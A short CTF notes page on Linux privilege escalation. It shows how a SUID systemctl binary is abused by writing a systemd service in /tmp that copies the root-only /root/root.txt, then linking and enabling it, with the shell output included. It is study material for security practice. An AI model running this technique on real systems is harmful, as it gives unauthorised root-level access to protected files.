> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/linux-privilege-escalation/create-malicious-service.md).

# Create malicious service

This solution is inspired by [this Q\&A](https://askubuntu.com/questions/919054/how-do-i-run-a-single-command-at-startup-using-systemd). In the scenario `/bin/systemctl` is a SUID binary.

Create a malicious service in a writable directory and start it

```bash
$ cd /tmp
$ privesc=$(mktemp).service
$ cat > $privesc << EOF
> [Service]
> ExecStart=/bin/bash -c "cat /root/root.txt > /tmp/flag.txt"
> [Install]
> WantedBy=multi-user.target
> EOF
$ /bin/systemctl link $privesc
Created symlink /etc/systemd/system/tmp.EdB5Nx5Y75.service -> /tmp/tmp.EdB5Nx5Y75.service.
$ /bin/systemctl enable --now $privesc
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.EdB5Nx5Y75.service -> /tmp/tmp.EdB5Nx5Y75.service.
$ 
```

Then get the flag

```bash
$ cat /tmp/flag.txt
a<REDACTED>5
$ 
```

## Resources

systemctl - Linux manual page: <https://www.man7.org/linux/man-pages/man1/systemctl.1.html>